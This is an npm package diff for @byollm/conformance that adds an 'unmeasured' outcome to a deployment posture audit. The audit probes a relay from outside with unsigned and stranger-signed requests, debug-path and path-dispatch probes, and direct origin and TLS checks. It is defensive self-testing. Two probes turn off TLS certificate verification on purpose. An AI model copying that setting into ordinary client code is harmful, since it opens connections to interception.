@byollm/conformance 0.1.0-alpha.85 → 0.1.0-alpha.87

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
1
  > [!WARNING]
2
- > **Alpha (`0.1.0-alpha.85`) — under active development. Don't use this yet.**
2
+ > **Alpha (`0.1.0-alpha.87`) — under active development. Don't use this yet.**
3
3
  >
4
4
  > Install it deliberately: `npm install @byollm/conformance@alpha`.
5
5
  >
package/dist/audit-cli.js CHANGED
@@ -2,7 +2,7 @@
2
2
  import {
3
3
  auditDeployment,
4
4
  formatPostureReport
5
- } from "./chunk-2EJHYOQS.js";
5
+ } from "./chunk-2JXKI5TH.js";
6
6
 
7
7
  // src/audit-cli.ts
8
8
  var [url, basePath, originAddress] = process.argv.slice(2);
@@ -41,6 +41,11 @@ var outcome = (passed, detail) => ({
41
41
  passed,
42
42
  detail
43
43
  });
44
+ var unmeasured = (detail) => ({
45
+ passed: false,
46
+ measured: false,
47
+ detail
48
+ });
44
49
  async function servedCertificate(address, host) {
45
50
  return new Promise((resolve) => {
46
51
  const socket = tlsConnect(
@@ -310,8 +315,7 @@ var POSTURE_CHECKS = Object.freeze([
310
315
  cites: [],
311
316
  async run({ origin, originAddress }) {
312
317
  if (originAddress === void 0) {
313
- return outcome(
314
- false,
318
+ return unmeasured(
315
319
  "no origin address given \u2014 this posture was not measured (pass the origin's address as the third argument)"
316
320
  );
317
321
  }
@@ -357,8 +361,7 @@ var POSTURE_CHECKS = Object.freeze([
357
361
  async run({ origin, originAddress }) {
358
362
  const host = new URL(origin).host;
359
363
  if (originAddress === void 0) {
360
- return outcome(
361
- false,
364
+ return unmeasured(
362
365
  "no origin address given \u2014 this posture was not measured. Asking the hostname reads the edge's certificate, which names it by construction and proves nothing about the origin"
363
366
  );
364
367
  }
@@ -386,8 +389,7 @@ var POSTURE_CHECKS = Object.freeze([
386
389
  async run({ origin, originAddress }) {
387
390
  const host = new URL(origin).host;
388
391
  if (originAddress === void 0) {
389
- return outcome(
390
- false,
392
+ return unmeasured(
391
393
  "no origin address given \u2014 this posture was not measured (the edge's certificate is Cloudflare's to renew, not ours)"
392
394
  );
393
395
  }
@@ -445,7 +447,8 @@ var describe = (check) => ({
445
447
  function formatPostureReport(report) {
446
448
  const lines = [`deployment posture \u2014 ${report.origin}`, ""];
447
449
  for (const result of report.results) {
448
- lines.push(` ${result.passed ? "ok " : "FAIL"} ${result.id}`);
450
+ const mark = result.passed ? "ok " : result.measured === false ? "? " : "FAIL";
451
+ lines.push(` ${mark} ${result.id}`);
449
452
  lines.push(` ${result.title}`);
450
453
  lines.push(` ${result.detail}`);
451
454
  if (result.cites.length > 0) {
@@ -453,9 +456,13 @@ function formatPostureReport(report) {
453
456
  }
454
457
  }
455
458
  const passed = report.results.filter((result) => result.passed).length;
459
+ const unasked = report.results.filter(
460
+ (result) => result.measured === false
461
+ ).length;
462
+ const breached = report.results.length - passed - unasked;
456
463
  lines.push(
457
464
  "",
458
- report.passed ? `${String(passed)}/${String(report.results.length)} \u2014 a stranger got nowhere.` : `${String(passed)}/${String(report.results.length)} \u2014 a stranger got somewhere. See FAIL above.`,
465
+ report.passed ? `${String(passed)}/${String(report.results.length)} \u2014 a stranger got nowhere.` : breached > 0 ? `${String(passed)}/${String(report.results.length)} \u2014 a stranger got somewhere. See FAIL above.` + (unasked > 0 ? ` (${String(unasked)} not measured \u2014 see ? above.)` : "") : `${String(passed)}/${String(report.results.length)} \u2014 nothing was breached, and ${String(unasked)} posture(s) could not be measured. See ? above.`,
459
466
  ""
460
467
  );
461
468
  return lines.join("\n");
@@ -466,4 +473,4 @@ export {
466
473
  auditDeployment,
467
474
  formatPostureReport
468
475
  };
469
- //# sourceMappingURL=chunk-2EJHYOQS.js.map
476
+ //# sourceMappingURL=chunk-2JXKI5TH.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/deployment.ts"],"sourcesContent":["import { connect as tlsConnect } from \"node:tls\";\nimport { request as httpsRequest } from \"node:https\";\nimport {\n PROTOCOL_VERSION,\n generateKeys,\n signRequest,\n signSiteRequest,\n} from \"@byollm/protocol\";\n\n/**\n * The deployment posture audit — what an outsider can do to a running relay.\n *\n * ## Why this exists as a separate surface\n *\n * `certify` drives a real daemon against a {@link ConformanceTarget}, and a\n * target may be an in-process handler or an HTTP server: \"deliberately\n * transport-agnostic\", which is the right call for certifying a *protocol*.\n *\n * It is also a blind spot, and byollm_009's ninth finding lived in it. Eight\n * freeze-gate findings came from tests where the site reached the relay by\n * calling `handle()` on an object it held a reference to — and a harness that\n * invokes the system under test directly cannot see anything about how the\n * system is *reached*. The site plane had no authentication at all. Nothing\n * noticed, because nothing in the suite was ever a stranger.\n *\n * So this suite is a stranger. It holds no credential, no key the deployment\n * knows, and no reference to any object inside it. It has a URL, which is\n * exactly what an attacker has. Every check asks the question that form of\n * access makes available:\n *\n * - can I enqueue work into someone's machines?\n * - can I read who is online and what they are holding?\n * - can I make a signature that is *well-formed* and be believed?\n * - is anything served that should not be on the internet?\n * - can I reach a handler by dressing a path up to look like one?\n *\n * ## What this is not\n *\n * Not a penetration test, and not exhaustive — it cannot be, because the next\n * hole will be in whatever gets added next. It is the specific class that has\n * already bitten, turned into something that runs. That is the same move as\n * every other check in this kit: a finding becomes a check so its *shape*\n * cannot recur silently.\n *\n * It is also deliberately **safe to run against production**: nothing here\n * writes, nothing floods, and every request is one an ordinary scanner would\n * make. A posture audit you are nervous about running is one nobody runs.\n */\n\n/** One thing a stranger tried. */\nexport interface PostureCheck {\n /** Stable id, cited in output. */\n readonly id: string;\n /** What a person should understand from a failure. */\n readonly title: string;\n /** MUSTs this exercises, where one applies. Empty is honest, not a gap. */\n readonly cites: readonly string[];\n run(context: PostureContext): Promise<PostureOutcome>;\n}\n\nexport interface PostureContext {\n /** The origin, as an outsider would type it. */\n readonly origin: string;\n /** Where the daemon plane is mounted. */\n readonly basePath: string;\n /** Injectable, so a test can drive this without a network. */\n readonly fetch: typeof fetch;\n /**\n * The origin's own address, behind whatever edge fronts it — `D008`.\n *\n * Optional because most deployments have no separate origin, and a check\n * that guessed one would report a posture it never tested.\n */\n readonly originAddress?: string;\n}\n\nexport interface PostureOutcome {\n readonly passed: boolean;\n /**\n * Did this check actually put its question? Absent means yes.\n *\n * A posture that could not be measured does not pass — a gate that waves\n * through what it could not look at passes hardest when it is blindest —\n * and it is not a breach either. Unproven is a third state.\n */\n readonly measured?: boolean;\n /** What actually happened, in a sentence someone can act on. */\n readonly detail: string;\n}\n\nexport interface PostureResult extends PostureOutcome {\n readonly id: string;\n readonly title: string;\n readonly cites: readonly string[];\n}\n\nexport interface PostureReport {\n readonly origin: string;\n readonly passed: boolean;\n readonly results: readonly PostureResult[];\n}\n\nconst STUB = {\n id: \"posture-probe\",\n kind: \"llm.generate\",\n owner: \"nobody\",\n audience: \"private\",\n sizeClass: \"small\",\n streaming: false,\n // Far enough out that a deployment cannot pass by calling it expired.\n deadlineAt: 4_102_444_800_000,\n};\n\n/** Refused, for any reason a server is entitled to refuse a stranger. */\nconst REFUSED = new Set([401, 403, 404]);\n\n/**\n * Refused **by a byollm relay**, rather than by nothing being there.\n *\n * The distinction is the whole difference between a posture audit and a\n * connectivity check, and this suite shipped without it for an hour. Running\n * against `hub.byollm.cloud` before its Ingress had a matching host rule, the\n * load balancer answered 404 to everything from its own error page — and the\n * audit reported 6/7, because 404 is a refusal and every probe got one.\n *\n * A completely dead deployment scored better than a working one. That is the\n * assertion-that-cannot-fail wearing its most convincing disguise: not a check\n * that never fails, but one that passes for a reason unrelated to the property\n * it claims.\n *\n * So a refusal has to be *byollm's* refusal: the protocol answers errors as\n * JSON with an `error` field, and Google's `backend NotFound` page does not.\n */\nasync function refusedByByollm(\n response: Response,\n): Promise<{ ok: boolean; why: string }> {\n if (!REFUSED.has(response.status)) {\n return { ok: false, why: `answered ${String(response.status)}` };\n }\n let body: unknown;\n try {\n body = await response.json();\n } catch {\n return {\n ok: false,\n why:\n `answered ${String(response.status)} but not as byollm — ` +\n `something else is serving this path`,\n };\n }\n const shaped =\n typeof body === \"object\" &&\n body !== null &&\n typeof (body as { error?: unknown }).error === \"string\";\n return shaped\n ? { ok: true, why: `answered ${String(response.status)}` }\n : {\n ok: false,\n why:\n `answered ${String(response.status)} with a body byollm would not ` +\n `send — something else is serving this path`,\n };\n}\n\nconst outcome = (passed: boolean, detail: string): PostureOutcome => ({\n passed,\n detail,\n});\n\n/**\n * A posture this run could not measure — B065.\n *\n * **Not a pass, and not a breach.** It does not pass, because a gate that\n * waves through what it could not look at is a gate that passes hardest when\n * it is blindest. It is not a FAIL either: \"the origin refused a stranger\"\n * and \"nobody asked the origin\" are different facts, and printing them in one\n * word tells an operator a stranger got somewhere when nobody did.\n *\n * Unproven is a third state — the rule this project already applies to a poll\n * that cannot read an answer and to a release check that cannot read a\n * version. It arrives here because three of these checks need the origin's\n * address, and without it they were reporting \"a stranger got somewhere\"\n * about a question they had not put.\n */\n/*\n * Exported for the one assertion that matters about it — that it does not\n * pass. A test that builds its own result objects can prove the FORMATTER\n * distinguishes the three states and prove nothing about the constructor,\n * which is exactly what the first draft of that test did.\n */\nexport const unmeasured = (detail: string): PostureOutcome => ({\n passed: false,\n measured: false,\n detail,\n});\n\n/**\n * The certificate the **origin** serves, read off the connection.\n *\n * Connects to the origin's own address with the pinned hostname in SNI, which\n * is what an edge does when it validates. Certificate verification is off for\n * `D008`'s reason: the question is what this address presents, not whether to\n * trust it.\n *\n * **It must be the origin, not the hostname.** Written first as a plain\n * connection to `hub.byollm.cloud`, which goes *through* Cloudflare and\n * returns Cloudflare's own edge certificate — one that names the host by\n * construction and auto-renews on a ninety-day cycle. `D009` passed on it\n * while the origin's certificate named nothing relevant, which is the exact\n * condition finding 45 describes; `D010` then failed with \"84 days\" and\n * revealed that both were measuring the edge.\n *\n * Two certificates, two purposes: the edge one protects visitors and\n * Cloudflare renews it, and the origin one is what the edge validates and\n * nobody renews automatically. Only the second is this audit's business.\n */\nasync function servedCertificate(\n address: string,\n host: string,\n): Promise<{ names: readonly string[]; validTo: string } | undefined> {\n return new Promise((resolve) => {\n const socket = tlsConnect(\n {\n host: address,\n servername: host,\n port: 443,\n timeout: 15_000,\n rejectUnauthorized: false,\n },\n () => {\n const peer = socket.getPeerCertificate();\n const alt = (peer.subjectaltname ?? \"\")\n .split(\",\")\n .map((entry) => entry.trim().replace(/^DNS:/, \"\"))\n .filter((entry) => entry.length > 0);\n const cn: unknown = peer.subject.CN;\n socket.end();\n resolve({\n names: alt.length > 0 ? alt : [typeof cn === \"string\" ? cn : \"\"],\n validTo: peer.valid_to,\n });\n },\n );\n socket.on(\"error\", () => {\n resolve(undefined);\n });\n socket.on(\"timeout\", () => {\n socket.destroy();\n resolve(undefined);\n });\n });\n}\n\nexport const POSTURE_CHECKS: readonly PostureCheck[] = Object.freeze([\n {\n id: \"D001_SITE_ENQUEUE_REFUSES_UNSIGNED\",\n title: \"an anonymous caller cannot enqueue work in a site's name\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run({ origin, fetch: f }) {\n const response = await f(`${origin}/relay/site/enqueue`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n // The version, because the auditor is a site-plane client like any\n // other (§B.4). Without it the relay refuses on the handshake and\n // this check would report \"refused\" for a reason that has nothing to\n // do with signatures — success for an unrelated reason, which is the\n // failure this whole file was written against.\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n siteId: \"any-site\",\n stub: STUB,\n }),\n });\n // The finding, exactly: a relay that accepts this routes unsolicited\n // work to consenting users' private hardware. The payload that follows\n // is sealed by the real site or not at all, so nothing forged *runs* —\n // and dispatch to someone's machine is a breach whatever the\n // ciphertext does.\n const refusal = await refusedByByollm(response);\n return outcome(refusal.ok, `POST /relay/site/enqueue ${refusal.why}`);\n },\n },\n {\n id: \"D002_SITE_READS_REFUSE_UNSIGNED\",\n title: \"an anonymous caller cannot read who is online\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run({ origin, fetch: f }) {\n // Reads matter as much as writes here. A blind relay's whole claim is\n // that it holds routing metadata and nothing else — which makes that\n // metadata the entire prize, and \"who is online right now, on which\n // device, holding which lease\" is the shape of it.\n const why: string[] = [];\n let ok = true;\n for (const path of [\"pending\", \"results\"]) {\n const response = await f(\n `${origin}/relay/site/${path}?siteId=any-site&protocolVersion=${PROTOCOL_VERSION}`,\n );\n const refusal = await refusedByByollm(response);\n ok &&= refusal.ok;\n why.push(`${path} ${refusal.why}`);\n }\n return outcome(ok, why.join(\"; \"));\n },\n },\n {\n id: \"D003_DAEMON_PLANE_REFUSES_UNSIGNED\",\n title: \"an anonymous caller cannot claim work\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\", \"CLAIM_REQUIRES_CAPABILITY\"],\n async run({ origin, basePath, fetch: f }) {\n const response = await f(`${origin}${basePath}/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: \"nobody\",\n max: 1,\n capabilities: [{ kind: \"llm.generate\", models: [\"any\"] }],\n }),\n });\n const refusal = await refusedByByollm(response);\n return outcome(refusal.ok, `POST ${basePath}/claim ${refusal.why}`);\n },\n },\n {\n id: \"D004_REFUSES_A_STRANGER_S_VALID_SIGNATURE\",\n title: \"a well-formed signature from an unknown key is not enough\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\", \"KEYS_EXCHANGED_AT_CONSENT\"],\n async run({ origin, basePath, fetch: f }) {\n // The check `D001`–`D003` cannot make: everything about these requests\n // is correct except whose key signed them. A deployment that verified\n // signatures without checking *whose* would pass the three above and\n // fail here, and that is a real implementation mistake rather than a\n // hypothetical one — verifying a signature and identifying a signer are\n // two steps, and the second is the one that gets skipped.\n const stranger = generateKeys(Date.now());\n const now = Date.now();\n\n const siteBody = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n siteId: \"any-site\",\n stub: STUB,\n });\n const siteSignature = signSiteRequest(stranger, {\n endpoint: \"enqueue\",\n siteId: \"any-site\",\n issuedAt: now,\n body: siteBody,\n });\n const site = await f(`${origin}/relay/site/enqueue`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-site\": \"any-site\",\n \"x-byollm-issued-at\": String(siteSignature.issuedAt),\n \"x-byollm-signature\": siteSignature.signature,\n },\n body: siteBody,\n });\n\n const daemonBody = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: \"nobody\",\n max: 1,\n capabilities: [{ kind: \"llm.generate\", models: [\"any\"] }],\n });\n const daemonSignature = signRequest(stranger, {\n endpoint: \"claim\",\n runnerId: \"nobody\",\n issuedAt: now,\n body: daemonBody,\n });\n const daemon = await f(`${origin}${basePath}/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": \"nobody\",\n \"x-byollm-issued-at\": String(daemonSignature.issuedAt),\n \"x-byollm-signature\": daemonSignature.signature,\n },\n body: daemonBody,\n });\n\n const siteRefusal = await refusedByByollm(site);\n const daemonRefusal = await refusedByByollm(daemon);\n return outcome(\n siteRefusal.ok && daemonRefusal.ok,\n `signed by a stranger: site ${siteRefusal.why}, daemon ${daemonRefusal.why}`,\n );\n },\n },\n {\n id: \"D011_VERSION_NAMED_ON_BOTH_PLANES\",\n title: \"an unknown protocol version is refused by name, not by accident\",\n cites: [\"VERSION_HANDSHAKE_REQUIRED\"],\n async run({ origin, fetch: f }) {\n // byollm_009 §B.4. A mismatch that arrives as a generic `bad-request`\n // leaves a daemon and a server to discover they disagree by failing,\n // with nothing in the answer naming the disagreement or the fix — which\n // is what this relay did on every endpoint until the handshake landed.\n //\n // **Both planes, because the gap was a whole plane.** The daemon plane\n // had version literals in its schemas and the site plane had none, so a\n // check that probed one would have reported a handshake the other did\n // not have.\n const probes: { where: string; response: Response }[] = [\n {\n where: \"daemon\",\n response: await f(`${origin}/byollm/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({ protocolVersion: \"99\", max: 1 }),\n }),\n },\n {\n where: \"site\",\n response: await f(`${origin}/relay/site/enqueue`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: \"99\",\n siteId: \"any-site\",\n stub: STUB,\n }),\n }),\n },\n ];\n\n const wrong: string[] = [];\n for (const probe of probes) {\n let body: { error?: string; supported?: unknown } = {};\n try {\n body = (await probe.response.json()) as typeof body;\n } catch {\n wrong.push(\n `${probe.where}: answered ${String(probe.response.status)} and not as byollm`,\n );\n continue;\n }\n if (body.error !== \"unsupported-protocol-version\") {\n wrong.push(\n `${probe.where}: answered ${String(probe.response.status)} ${String(body.error)}`,\n );\n continue;\n }\n // Named, not merely refused: the field a client acts on.\n if (!Array.isArray(body.supported)) {\n wrong.push(`${probe.where}: refused without naming what it speaks`);\n }\n }\n\n return outcome(\n wrong.length === 0,\n wrong.length === 0\n ? \"both planes name the version they speak\"\n : wrong.join(\"; \"),\n );\n },\n },\n\n {\n id: \"D005_NO_DEBUG_SURFACE\",\n title: \"the debug page is not on the internet\",\n cites: [],\n async run({ origin, basePath, fetch: f }) {\n // Finding eleven. The relay's debug page shows no prompt or result text\n // — it does not have them — and it does show every routed job, who\n // claimed it, and every lease in flight. Closing the site plane while\n // leaving this open protects the data from one door and not the other.\n const paths = [\"/debug\", `${basePath}/debug`];\n const statuses: number[] = [];\n for (const path of paths) {\n const response = await f(`${origin}${path}`);\n statuses.push(response.status);\n }\n return outcome(\n // **Not merely \"not 200\"** — cloud_009 §3 made the page per-site, so\n // an enabled one answers a probe with no site id `400` rather than\n // rendering. A check that accepted anything but 200 would pass\n // against a deployment whose debug page is one query parameter away,\n // which is finding eleven with a shorter walk.\n //\n // `404` is the only answer that means the route does not exist. The\n // reference relay says exactly that when its debug page is off, and\n // says `400` when it is on and the caller named no site.\n statuses.every((status) => status === 404),\n `debug paths answered ${statuses.map(String).join(\"/\")}`,\n );\n },\n },\n {\n id: \"D006_NO_PATH_DISPATCH\",\n title: \"a handler cannot be reached by dressing a path up to look like it\",\n cites: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run({ origin, fetch: f }) {\n // A router that dispatched on the last path segment would serve\n // `/literally/anything/claim`. Worth checking from outside because it\n // is invisible from inside: an in-process harness calls the handler by\n // name and never constructs a URL that could be misread.\n const response = await f(`${origin}/literally/anything/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({ protocolVersion: PROTOCOL_VERSION, max: 1 }),\n });\n const refusal = await refusedByByollm(response);\n return outcome(\n refusal.ok && response.status === 404,\n `POST /literally/anything/claim ${refusal.why}`,\n );\n },\n },\n {\n id: \"D007_TLS_ONLY\",\n title: \"the deployment is reached over TLS, and plaintext is not served\",\n cites: [],\n async run({ origin, fetch: f }) {\n if (!origin.startsWith(\"https://\")) {\n // Not a failure when auditing a local hub on purpose, but never\n // silent: an audit that reports \"posture good\" against an http origin\n // has certified the one thing that matters least.\n return outcome(false, `origin is ${origin} — this audit saw no TLS`);\n }\n // Payloads are sealed end to end and would survive plaintext transport.\n // Request signatures would not: on the wire they are replayable by\n // anyone on the path for the length of the freshness window, and every\n // site-plane and daemon-plane call carries one.\n const plain = origin.replace(\"https://\", \"http://\");\n const response = await f(`${plain}/healthz`, { redirect: \"manual\" });\n const redirected =\n response.status >= 300 &&\n response.status < 400 &&\n (response.headers.get(\"location\") ?? \"\").startsWith(\"https://\");\n return outcome(\n redirected || REFUSED.has(response.status),\n `plaintext answered ${String(response.status)}${\n redirected ? \" and redirects to https\" : \"\"\n }`,\n );\n },\n },\n\n {\n id: \"D008_ORIGIN_NOT_PUBLIC\",\n title: \"the origin answers the edge, and nobody else\",\n cites: [],\n async run({ origin, originAddress }) {\n // cloud_008 findings 44/45. A load balancer has a public address, and\n // an edge in front of it is a convention rather than a boundary until\n // the origin refuses everything else: anyone who resolves the address\n // reaches the hub past every WAF rule, rate limit and bot check the\n // zone applies, and appears in no edge log doing it.\n //\n // Bounded, and not nothing. Requests are signed and payloads sealed, so\n // a stranger cannot forge a claim or read a job — but they can reach\n // `/byollm/pair` and every plane endpoint at whatever rate the origin\n // serves, which is exactly the surface the edge exists to absorb.\n //\n // Skipped rather than failed when no address is supplied: an auditor\n // who does not know where the origin lives cannot ask this, and\n // guessing would be a check that passes for not looking.\n if (originAddress === undefined) {\n // **Fails, not skips.** This file's own rule, and the suite already\n // had a test for it: an audit that drops a check it could not run\n // reports a posture nobody measured, which reads identically to one\n // measured and found good.\n //\n // Written as a pass first, on the reasoning that most deployments\n // have no separate origin — and that test failed it immediately. The\n // reasoning was wrong in the way this whole audit exists to catch:\n // \"probably fine\" and \"verified\" must not print the same.\n return unmeasured(\n \"no origin address given — this posture was not measured \" +\n \"(pass the origin's address as the third argument)\",\n );\n }\n\n // Asked the way an attacker would, which `fetch` cannot.\n //\n // The first version of this check used `fetch` and passed for the wrong\n // reason: TLS fails against a bare IP because the certificate does not\n // name it, the request never reaches the load balancer's backend, and a\n // connection error read as \"refused\". It would have reported a green\n // origin with no policy attached at all.\n //\n // Plain HTTP does not work either — the frontend answers `301` before\n // any backend is chosen, so the policy is never consulted.\n //\n // So: HTTPS to the address, with the real host in SNI, and certificate\n // verification **off**. That is not a lapse. The property under test is\n // whether an address answers a stranger, not who the answer comes from,\n // and refusing to look because the certificate does not match the IP is\n // how the first version passed while proving nothing. Nothing else in\n // this kit may copy it.\n const host = new URL(origin).host;\n const status = await new Promise<number | \"refused\">((resolve) => {\n const request = httpsRequest(\n {\n host: originAddress,\n servername: host,\n headers: { host },\n path: \"/readyz\",\n method: \"GET\",\n rejectUnauthorized: false,\n timeout: 15_000,\n },\n (response) => {\n response.resume();\n resolve(response.statusCode ?? 0);\n },\n );\n request.on(\"error\", () => {\n resolve(\"refused\");\n });\n request.on(\"timeout\", () => {\n request.destroy();\n resolve(\"refused\");\n });\n request.end();\n });\n\n if (status === \"refused\") {\n // Nothing answered at all, which is the strongest form of this.\n return outcome(true, \"the origin address refused the connection\");\n }\n return outcome(\n status === 403,\n `the origin answered ${String(status)} to a direct request`,\n );\n },\n },\n\n {\n id: \"D009_CERT_NAMES_THE_PINNED_HOST\",\n title: \"the certificate names the hostname daemons pin\",\n cites: [],\n async run({ origin, originAddress }) {\n // cloud_008 finding 45. The load balancer held one certificate, for the\n // *origin* hostname, and `hub.byollm.cloud` — the name every daemon\n // pins and the edge validates — was not on it. Cloudflare cannot verify\n // a certificate that does not name what it asked for, so the zone sat\n // on plain Full: encrypted to the origin, not checking who the origin\n // is, while every daemon's pinned site keys arrive through it.\n //\n // Nothing said so. \"There is a certificate\" and \"there is a certificate\n // for the name being validated\" printed identically, which is why this\n // check exists rather than a note in a runbook.\n //\n // Asked over TLS with the real SNI and read from the peer, so it is the\n // certificate actually served rather than one somebody configured.\n const host = new URL(origin).host;\n if (originAddress === undefined) {\n return unmeasured(\n \"no origin address given — this posture was not measured. \" +\n \"Asking the hostname reads the edge's certificate, which names it \" +\n \"by construction and proves nothing about the origin\",\n );\n }\n const served = await servedCertificate(originAddress, host);\n const names = served?.names;\n\n if (names === undefined) {\n return outcome(\n false,\n `could not read a certificate from ${originAddress}`,\n );\n }\n const covered = names.some(\n (name) =>\n name === host ||\n (name.startsWith(\"*.\") && host.endsWith(name.slice(1))),\n );\n return outcome(\n covered,\n covered\n ? `served a certificate naming ${host}`\n : `the certificate names ${names.join(\", \")} — not ${host}`,\n );\n },\n },\n\n {\n id: \"D010_CERT_HAS_LIFE_LEFT\",\n title: \"the certificate is not about to expire\",\n cites: [],\n async run({ origin, originAddress }) {\n // A long-lived certificate is the kind whose expiry gets written in a\n // note and never looked at again. The one this deployment now depends\n // on runs to 2041, which makes it *more* likely to be forgotten, not\n // less — and it is load-bearing: it is what the edge validates before\n // it will carry a daemon's traffic at all.\n //\n // Measured from the artefact rather than from the note. A date somebody\n // owns has to mean a date something checks.\n //\n // Ninety days: long enough that a renewal is scheduled rather than\n // scrambled, short enough that the warning is still about something\n // real.\n const host = new URL(origin).host;\n if (originAddress === undefined) {\n return unmeasured(\n \"no origin address given — this posture was not measured \" +\n \"(the edge's certificate is Cloudflare's to renew, not ours)\",\n );\n }\n const served = await servedCertificate(originAddress, host);\n if (served === undefined) {\n return outcome(\n false,\n `could not read a certificate from ${originAddress}`,\n );\n }\n const days = Math.round(\n (Date.parse(served.validTo) - Date.now()) / 86_400_000,\n );\n return outcome(\n days > 90,\n `the certificate expires ${served.validTo} (${String(days)} days)`,\n );\n },\n },\n]);\n\n/**\n * Audit a running deployment. Holds nothing it was not given a URL for.\n *\n * Every check runs even after one fails, because a posture report's job is to\n * be a complete picture rather than the first thing that went wrong.\n */\nexport async function auditDeployment(options: {\n url: string;\n basePath?: string;\n /** The origin behind the edge, for `D008`. */\n originAddress?: string;\n fetch?: typeof fetch;\n onProgress?: (result: PostureResult) => void;\n}): Promise<PostureReport> {\n const origin = options.url.replace(/\\/+$/, \"\");\n const context: PostureContext = {\n origin,\n basePath: (options.basePath ?? \"/byollm\").replace(/\\/+$/, \"\"),\n ...(options.originAddress === undefined\n ? {}\n : { originAddress: options.originAddress }),\n fetch: options.fetch ?? globalThis.fetch,\n };\n\n const results: PostureResult[] = [];\n for (const check of POSTURE_CHECKS) {\n let result: PostureResult;\n try {\n result = { ...(await check.run(context)), ...describe(check) };\n } catch (error) {\n // A check that cannot complete is a failure, not a skip. An audit that\n // silently drops a probe it could not run reports a posture nobody\n // measured — which is worse than reporting none at all.\n result = {\n ...describe(check),\n passed: false,\n detail: `the probe failed: ${error instanceof Error ? error.message : \"unknown\"}`,\n };\n }\n results.push(result);\n options.onProgress?.(result);\n }\n\n return {\n origin,\n passed: results.every((result) => result.passed),\n results,\n };\n}\n\nconst describe = (check: PostureCheck) => ({\n id: check.id,\n title: check.title,\n cites: check.cites,\n});\n\nexport function formatPostureReport(report: PostureReport): string {\n const lines = [`deployment posture — ${report.origin}`, \"\"];\n for (const result of report.results) {\n const mark = result.passed\n ? \"ok \"\n : result.measured === false\n ? \"? \"\n : \"FAIL\";\n lines.push(` ${mark} ${result.id}`);\n lines.push(` ${result.title}`);\n lines.push(` ${result.detail}`);\n if (result.cites.length > 0) {\n lines.push(` cites ${result.cites.join(\", \")}`);\n }\n }\n const passed = report.results.filter((result) => result.passed).length;\n const unasked = report.results.filter(\n (result) => result.measured === false,\n ).length;\n const breached = report.results.length - passed - unasked;\n /**\n * Three numbers, because there are three outcomes — B065.\n *\n * This said \"a stranger got somewhere\" whenever anything did not pass, and\n * three of these checks do not pass when they are given no origin address:\n * they had not asked. An operator reading that sentence would go looking\n * for a breach that nobody had reported.\n */\n lines.push(\n \"\",\n report.passed\n ? `${String(passed)}/${String(report.results.length)} — a stranger got nowhere.`\n : breached > 0\n ? `${String(passed)}/${String(report.results.length)} — a stranger got somewhere. ` +\n `See FAIL above.` +\n (unasked > 0\n ? ` (${String(unasked)} not measured — see ? above.)`\n : \"\")\n : `${String(passed)}/${String(report.results.length)} — nothing was breached, and ` +\n `${String(unasked)} posture(s) could not be measured. See ? above.`,\n \"\",\n );\n return lines.join(\"\\n\");\n}\n"],"mappings":";AAAA,SAAS,WAAW,kBAAkB;AACtC,SAAS,WAAW,oBAAoB;AACxC;AAAA,EACE;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,OACK;AA+FP,IAAM,OAAO;AAAA,EACX,IAAI;AAAA,EACJ,MAAM;AAAA,EACN,OAAO;AAAA,EACP,UAAU;AAAA,EACV,WAAW;AAAA,EACX,WAAW;AAAA;AAAA,EAEX,YAAY;AACd;AAGA,IAAM,UAAU,oBAAI,IAAI,CAAC,KAAK,KAAK,GAAG,CAAC;AAmBvC,eAAe,gBACb,UACuC;AACvC,MAAI,CAAC,QAAQ,IAAI,SAAS,MAAM,GAAG;AACjC,WAAO,EAAE,IAAI,OAAO,KAAK,YAAY,OAAO,SAAS,MAAM,CAAC,GAAG;AAAA,EACjE;AACA,MAAI;AACJ,MAAI;AACF,WAAO,MAAM,SAAS,KAAK;AAAA,EAC7B,QAAQ;AACN,WAAO;AAAA,MACL,IAAI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,CAAC,IAAI,OAAO,OAAO,QAAQ,MAAM,CAAC,oCAClD,WAAW,IACT,GAAG,OAAO,MAAM,CAAC,IAAI,OAAO,OAAO,QAAQ,MAAM,CAAC,uDAEjD,UAAU,IACP,KAAK,OAAO,OAAO,CAAC,uCACpB,MACJ,GAAG,OAAO,MAAM,CAAC,IAAI,OAAO,OAAO,QAAQ,MAAM,CAAC,qCAC/C,OAAO,OAAO,CAAC;AAAA,IACxB;AAAA,EACF;AACA,SAAO,MAAM,KAAK,IAAI;AACxB;","names":[]}
@@ -40,6 +40,13 @@ import {
40
40
  DaemonConfig
41
41
  } from "byollm";
42
42
  var EchoBackend = class {
43
+ /* The conformance kit's own backend, answering the question every adapter
44
+ must — byollm_021. It echoes rather than generating, so there is no
45
+ model ceiling to hit and nothing to read. */
46
+ stopReasons = {
47
+ kind: "unavailable",
48
+ why: "the conformance echo backend generates nothing, so no model ever stops early"
49
+ };
43
50
  id = "openai-http";
44
51
  class = "http";
45
52
  /** Prompts this backend was asked to run, in order. */
@@ -2165,4 +2172,4 @@ export {
2165
2172
  miscoveredMusts,
2166
2173
  formatReport
2167
2174
  };
2168
- //# sourceMappingURL=chunk-MSM6QP2N.js.map
2175
+ //# sourceMappingURL=chunk-OPJBI7WK.js.map
@@ -1 +1 @@
